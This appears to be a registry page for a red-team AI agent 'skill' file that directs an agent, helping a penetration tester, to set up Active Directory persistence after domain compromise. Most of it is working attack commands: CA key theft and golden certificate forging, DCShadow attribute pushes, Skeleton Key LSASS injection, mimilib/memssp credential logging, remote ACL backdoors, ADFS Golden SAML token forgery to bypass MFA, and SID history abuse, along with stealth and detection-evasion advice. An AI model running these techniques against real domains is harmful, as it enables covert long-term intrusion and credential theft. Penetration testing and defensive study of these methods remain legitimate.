blacklanternsecurity

ad-persistence

Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors (WMI/WinRM/ DCOM/registry ACL modification), ADFS Golden SAML (DKM key extraction and forged SAML tokens), SID history persistence (DA SID in regular user), and certificate-based persistence (golden certificate, renewal, enrollment agent).

blacklanternsecurity 208 24 Updated 3mo ago
GitHub

Install

npx skillscat add blacklanternsecurity/red-run/ad-persistence

Install via the SkillsCat registry.

SKILL.md

AD Persistence

You are helping a penetration tester establish persistent access in Active
Directory environments after achieving domain admin or equivalent privileges.
All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [ad-persistence] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with
    descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

Access required: Domain Admin or equivalent on at least one DC.
Some techniques require SYSTEM on the DC (DCShadow, skeleton key,
custom SSP). ADFS Golden SAML requires ADFS service account access.

Kerberos authentication setup:

getTGT.py 'DOMAIN.LOCAL/admin:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/admin.ccache

Tools: Mimikatz, ADFSDump, ADFSpoof, ForgeCert, Certipy, Rubeus,
Impacket, Nishang (Set-RemoteWMI, Set-RemotePSRemoting), bloodyAD.

Persistence Decision Tree

Select based on access level, stealth requirements, and infrastructure:

Technique Stealth Survives Reboot Requirements Best For
Golden Certificate Very High Yes (years) CA key access Long-term undetectable access
DCShadow Very High Yes DA + SYSTEM on DC Stealthy attribute modification
Security descriptors High Yes DA Remote access backdoor
SID history High Yes DA Covert privilege assignment
ADFS Golden SAML High Yes ADFS service account Federated service access (O365)
Certificate renewal High Yes Existing cert Extend existing cert access
Custom SSP (registry) Medium Yes DC admin Credential harvesting
Skeleton Key Medium No SYSTEM on each DC Quick universal password
Custom SSP (memssp) Medium No SYSTEM on DC Temporary credential capture

Step 1: Golden Certificate

Extract the CA private key and forge certificates for any user. The
highest-value persistence — certificates cannot be revoked (CA doesn't
know about forged certs) and last years.

Prerequisite: Access to the CA server (typically a DC or dedicated
CA host).

Extract CA Key

# Certipy — backup CA cert + private key
certipy ca -k -no-pass 'DOMAIN.LOCAL/admin@ca.domain.local' -backup -ca 'DOMAIN-CA'

# certutil (from CA server)
certutil -backupKey -f -p 'BackupPass123!' C:\Windows\Tasks\CaBackup

# Mimikatz (from CA server)
mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /export

Forge Certificate

# Certipy — forge cert for any user
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_forged.pfx

# With SID embedding (KB5014754 compliance for 2025+ enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx -upn administrator@domain.local \
  -sid S-1-5-21-DOMAIN_SID-500 -out admin_forged_sid.pfx

# ForgeCert (.NET)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword BackupPass123! \
  --Subject "CN=Admin" --SubjectAltName administrator@domain.local \
  --NewCertPath admin_forged.pfx --NewCertPassword CertPass!

# Certify with SID
Certify.exe forge --ca-pfx ca.pfx --ca-pass BackupPass123! \
  --upn administrator@domain.local --sid S-1-5-21-DOMAIN_SID-500 \
  --outfile admin_forged.pfx

Authenticate with Forged Certificate

# Certipy PKINIT
certipy auth -pfx admin_forged.pfx -dc-ip DC_IP
# Returns NT hash via UnPAC-the-Hash

# Rubeus
Rubeus.exe asktgt /user:Administrator /certificate:admin_forged.pfx /password:CertPass! /ptt

Validity: Until the CA certificate expires (typically 5-20 years).
Cannot be revoked. Survives password resets.

Certificate Renewal Persistence

If you already have a valid user certificate:

# Renew indefinitely (extends validity)
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
  -pfx existing_cert.pfx -renew -out renewed.pfx

# With SID for enforcement mode compliance
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
  -pfx existing_cert.pfx -renew -sid S-1-5-21-DOMAIN_SID-500 -out renewed.pfx

Enrollment Agent Persistence

Keep an enrollment agent certificate as a persistence token to mint
certificates for any user on demand:

# Mint certificate for any user
certipy req -k -no-pass -ca 'DOMAIN-CA' -template User \
  -on-behalf-of 'DOMAIN/victim' -pfx agent.pfx -out victim.pfx

Step 2: DCShadow

Register a rogue Domain Controller and push attribute changes without
standard modification logging. The stealthiest AD persistence mechanism.

Prerequisite: DA + ability to run as SYSTEM on a DC (or delegated
DCShadow permissions).

Standard DCShadow (Two Mimikatz Instances)

# Instance 1: RPC server (run as SYSTEM on DC)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:backdoor_user /attribute:SIDHistory /value:S-1-5-21-DOMAIN-512

# Instance 2: Push changes (run as DA)
mimikatz # lsadump::dcshadow /push

Common DCShadow Modifications

# Add Enterprise Admin SID to user's SID history
lsadump::dcshadow /object:regular_user /attribute:SIDHistory /value:S-1-5-21-DOMAIN-519

# Change primaryGroupID to Domain Admins (RID 512)
lsadump::dcshadow /object:regular_user /attribute:primaryGroupID /value:512

# Modify description (proof of concept)
lsadump::dcshadow /object:regular_user /attribute:Description /value:"Modified via DCShadow"

# Modify AdminSDHolder ntSecurityDescriptor (ACL backdoor that propagates)
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value:<MODIFIED_ACL>

# Stack multiple changes, then push once
lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:S-1-5-21-DOMAIN-512 /stack
lsadump::dcshadow /object:user2 /attribute:primaryGroupID /value:512 /stack
lsadump::dcshadow /push

Delegated DCShadow (Without Full DA)

Grant minimal DCShadow permissions to a regular user:

# Set-DCShadowPermissions (Nishang)
Set-DCShadowPermissions -FakeDC attacker-host -SAMAccountName target_user -Username regular_user

Required permissions on domain object: DS-Install-Replica,
DS-Replication-Manage-Topology, DS-Replication-Synchronize. On Sites
container: CreateChild, DeleteChild.

Step 3: Skeleton Key

Inject a master password into LSASS on Domain Controllers. After
injection, any domain user can authenticate with the skeleton password
while their real password continues to work.

Prerequisite: SYSTEM + SeDebugPrivilege on EVERY DC. Does NOT
survive reboots.

Inject Skeleton Key

# Standard LSASS injection (default password: mimikatz)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# If LSASS is PPL-protected (Credential Guard / RunAsPPL)
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

# With /letaes to avoid AES hook issues (compatibility mode)
mimikatz # misc::skeleton /letaes

Verify Skeleton Key

# Authenticate as any user with the skeleton password
net use \\DC01\C$ /user:DOMAIN\anyuser mimikatz

# From Linux
nxc smb DC_IP -u 'anyuser' -p 'mimikatz' -d DOMAIN.LOCAL

Limitations:

  • Must be applied to EVERY DC (users authenticate to different DCs)
  • Does NOT work with AES-only Kerberos (only patches RC4/etype 0x17)
  • Lost on reboot — re-inject after each DC restart
  • Requires kernel driver (mimidrv.sys) if PPL enabled

Step 4: Custom SSP (Credential Logging)

Deploy a custom Security Support Provider to log all authentication
credentials in cleartext.

Method 1: mimilib.dll (Persistent — Survives Reboot)

# 1. Copy mimilib.dll to System32
copy mimilib.dll C:\Windows\System32\

# 2. Add to Security Packages registry
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
# Current: kerberos msv1_0 schannel wdigest tspkg pku2u

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

# 3. After reboot, credentials logged to:
# C:\Windows\System32\kiwissp.log

Method 2: memssp (In-Memory — No Reboot, Non-Persistent)

mimikatz # privilege::debug
mimikatz # misc::memssp

# Credentials logged to C:\Windows\System32\mimilsa.log

memssp patches LSASS in memory without writing DLL to disk. Does not
survive reboot but avoids file-based detection.

Retrieve Captured Credentials

# Check for captured credentials
type C:\Windows\System32\kiwissp.log   # mimilib
type C:\Windows\System32\mimilsa.log   # memssp

Step 5: Security Descriptor Backdoors

Modify security descriptors (ACLs) on remote management services to
grant a regular user persistent remote access without admin privileges.

WMI Remote Execution Backdoor

# Grant user remote WMI access (Nishang)
Set-RemoteWMI -UserName backdoor_user -ComputerName DC01 -Namespace 'root\cimv2' -Verbose

# Verify
Get-WmiObject -Class Win32_OperatingSystem -ComputerName DC01 -Credential (Get-Credential)

# Remove
Set-RemoteWMI -UserName backdoor_user -ComputerName DC01 -Namespace 'root\cimv2' -Remove -Verbose

WinRM/PSRemoting Backdoor

# Grant user PSRemoting access (Nishang)
Set-RemotePSRemoting -UserName backdoor_user -ComputerName DC01 -Verbose

# Verify
Enter-PSSession -ComputerName DC01 -Credential (Get-Credential)

# Remove
Set-RemotePSRemoting -UserName backdoor_user -ComputerName DC01 -Remove -Verbose

Registry Backdoor (DAMP — Remote Hash Retrieval)

# Grant user remote registry access for hash extraction
Add-RemoteRegBackdoor -ComputerName DC01 -Trustee backdoor_user -Verbose

# Later: retrieve hashes remotely as non-admin
Get-RemoteMachineAccountHash -ComputerName DC01 -Verbose
Get-RemoteLocalAccountHash -ComputerName DC01 -Verbose
Get-RemoteCachedCredential -ComputerName DC01 -Verbose

Step 6: ADFS Golden SAML

Extract the ADFS token-signing key and forge SAML tokens to impersonate
any user across federated services (Office 365, AWS SSO, etc.).

Prerequisite: ADFS service account access or compromise of the ADFS
server. Works even with MFA enabled — SAML tokens bypass 2FA.

Extract DKM Key from Active Directory

# PowerShell — query DKM key from AD contact object
$key = (Get-ADObject -Filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' `
  -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" `
  -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)
# LDAP from Linux (as ADFS service account or DA)
ldapsearch -x -H ldap://DC.domain.local \
  -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" \
  -D "adfs-svc@domain.local" -W \
  -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto

Extract Token-Signing Certificate

# ADFSDump — extract from Windows Internal Database (WID)
# Run on ADFS server as ADFS service account
ADFSDump.exe
# Retrieves EncryptedPfx and DKM key

Forge Golden SAML

# ADFSpoof — forge SAML token
python3 ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 \
  --endpoint https://www.contoso.com/adfs/ls/SamlResponseServlet \
  --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient \
  --nameid 'DOMAIN\administrator' \
  --rpidentifier TargetApp \
  --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>DOMAIN\administrator</AttributeValue></Attribute>'

# For Office 365
python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 \
  --upn admin@domain.com \
  --objectguid 712D7BFAE0EB79842D878B8EEEE239D1

# Shimit (alternative)
python3 shimit.py -idp http://adfs.domain.local/adfs/services/trust \
  -pk signing.key -c signing.pem \
  -u domain\\admin -n admin@domain.com \
  -r ADFS-admin -r ADFS-monitor \
  -id <RP_IDENTIFIER>

Validity: Token-signing key is NOT automatically rotated. Golden SAML
remains valid until the certificate expires (typically years). Password
changes do NOT invalidate forged SAML tokens.

Tools: ADFSDump + ADFSpoof (Mandiant), WhiskeySAML (Secureworks),
Shimit (CyberArk).

Step 7: SID History Persistence

Add a high-privilege SID (Domain Admins, Enterprise Admins) to a regular
user's SID history attribute. The user retains their normal identity but
has hidden administrative access.

Via DCShadow (Stealthy)

# Add DA SID to regular user (no modification logging)
lsadump::dcshadow /object:regular_user /attribute:SIDHistory /value:S-1-5-21-DOMAIN-512
lsadump::dcshadow /push

Via Golden/Diamond Ticket

# Forge ticket with extra SID (does not modify AD objects)
ticketer.py -aesKey <KRBTGT_AES256> -domain domain.local \
  -domain-sid S-1-5-21-DOMAIN_SID -extra-sid S-1-5-21-DOMAIN_SID-512 \
  regular_user

export KRB5CCNAME=regular_user.ccache
secretsdump.py -k -no-pass domain.local/regular_user@dc.domain.local

Via Direct Modification (Noisier)

# Requires DA — directly modifies the user object
Set-ADUser -Identity regular_user -Add @{'SIDHistory'=@('S-1-5-21-DOMAIN-512')}
# bloodyAD
bloodyAD --host DC_IP -d domain.local -k set object regular_user SIDHistory -v 'S-1-5-21-DOMAIN-512'

Step 8: Verify Persistence

Always verify persistence mechanisms after deployment.

Golden Certificate

certipy auth -pfx admin_forged.pfx -dc-ip DC_IP
# Should return TGT + NT hash

Skeleton Key

nxc smb DC_IP -u 'anyuser' -p 'mimikatz' -d DOMAIN.LOCAL
# Should show successful authentication

Security Descriptors

# WMI backdoor
Get-WmiObject -Class Win32_OperatingSystem -ComputerName DC01

# PSRemoting backdoor
Invoke-Command -ComputerName DC01 -ScriptBlock { whoami }

Golden SAML

Submit the forged SAML token to the target application and verify
access as the impersonated user.

Step 9: Escalate or Pivot

After establishing persistence:

  • Multiple DCs: Deploy persistence on at least 2 DCs for redundancy
  • Cross-forest persistence: Route to trust-attacks to persist
    across trust boundaries
  • Credential harvesting active: Check custom SSP logs periodically
    for new credentials -> route to pass-the-hash
  • Need formal writeup: Document persistence mechanisms in engagement/findings.md
  • Engagement complete: Document all persistence mechanisms and
    cleanup steps in findings

Update engagement/state.md with:

  • Persistence mechanisms deployed (type, target, cleanup steps)
  • Persistence credentials (cert PFX, SAML key, skeleton password)
  • Cleanup requirements for report

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
stop.

What counts as progress:

  • Trying a variant or alternative documented in this skill
  • Adjusting syntax, flags, or parameters per the Troubleshooting section
  • Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

  • Writing custom exploit code not provided in this skill
  • Inventing workarounds using techniques from other domains
  • Retrying the same command with trivially different input
  • Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

  1. Try each variant or alternative once
  2. Check the Troubleshooting section for known fixes
  3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

  • What was attempted (commands, variants, alternatives tried)
  • What failed and why (error messages, empty responses, timeouts)
  • Assessment: blocked (permanent — config, patched, missing prereq) or
    retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

Troubleshooting

DCShadow Push Fails

  • "Not enough rights": Instance 1 must run as SYSTEM (use !+ and
    !processtoken). Instance 2 must be DA.
  • Replication conflict: Another DC is replicating simultaneously.
    Wait and retry.
  • Wrong data triggers audit: Ensure attribute values are valid
    (correct SID format, valid group RIDs).

Skeleton Key Injection Fails

  • LSASS protected (PPL): Use !processprotect /process:lsass.exe /remove
    (requires kernel driver mimidrv.sys signed or test signing enabled).
  • Credential Guard enabled: Skeleton key cannot patch protected
    LSASS. Use DCShadow or golden certificate instead.
  • AES-only realm: Skeleton key only patches RC4 (etype 0x17). If
    domain enforces AES-only, skeleton key is ineffective.

Golden Certificate Authentication Fails

  • KB5014754 enforcement: Forged certs need SID security extension.
    Re-forge with -sid parameter.
  • CA certificate expired: Check CA cert validity. If expired, the
    CA itself needs renewal first.
  • Wrong template settings: Ensure forged cert has Client Authentication
    EKU. Use certipy forge which sets this automatically.

ADFS Golden SAML Fails

  • Wrong DKM key: Ensure you extracted from the correct AD container.
    The path is CN=ADFS,CN=Microsoft,CN=Program Data,DC=....
  • Token validation fails: Check token lifetime, audience restriction,
    and assertion attributes match the relying party configuration.
  • ADFS upgraded: Token-signing certificates may have been rotated
    during upgrade. Re-extract the current certificate.

Custom SSP Not Logging

  • mimilib.dll: Requires reboot after registry modification. Check
    that "mimilib" is listed in Security Packages registry value.
  • memssp: Lost on reboot. Re-inject after each LSASS restart.
  • Log location: kiwissp.log (mimilib) or mimilsa.log (memssp) in
    C:\Windows\System32\.

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew
Interrupt
— stop immediately and return to the orchestrator. Do not retry or
fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison

Technique OPSEC Detection Indicators
Golden Certificate Very High No DC logs (forged offline); only PKINIT auth events
DCShadow Very High No modification logs if done correctly
Security descriptors High ACL changes visible in security event 4662
SID history (DCShadow) High No logs for modification; SID visible in ticket
SID history (direct) Medium Event 4738 (user modified), 4765 (SID history added)
ADFS Golden SAML High Only ADFS auth logs; no AD authentication events
Certificate renewal High Standard enrollment event (no unusual indicators)
Custom SSP (mimilib) Medium Event 4657 (registry), DLL on disk
Custom SSP (memssp) Medium Sysmon event 10 (LSASS access), no file on disk
Skeleton Key Medium Event 7045 (driver install), 4673/4611 (LSA), RC4 logons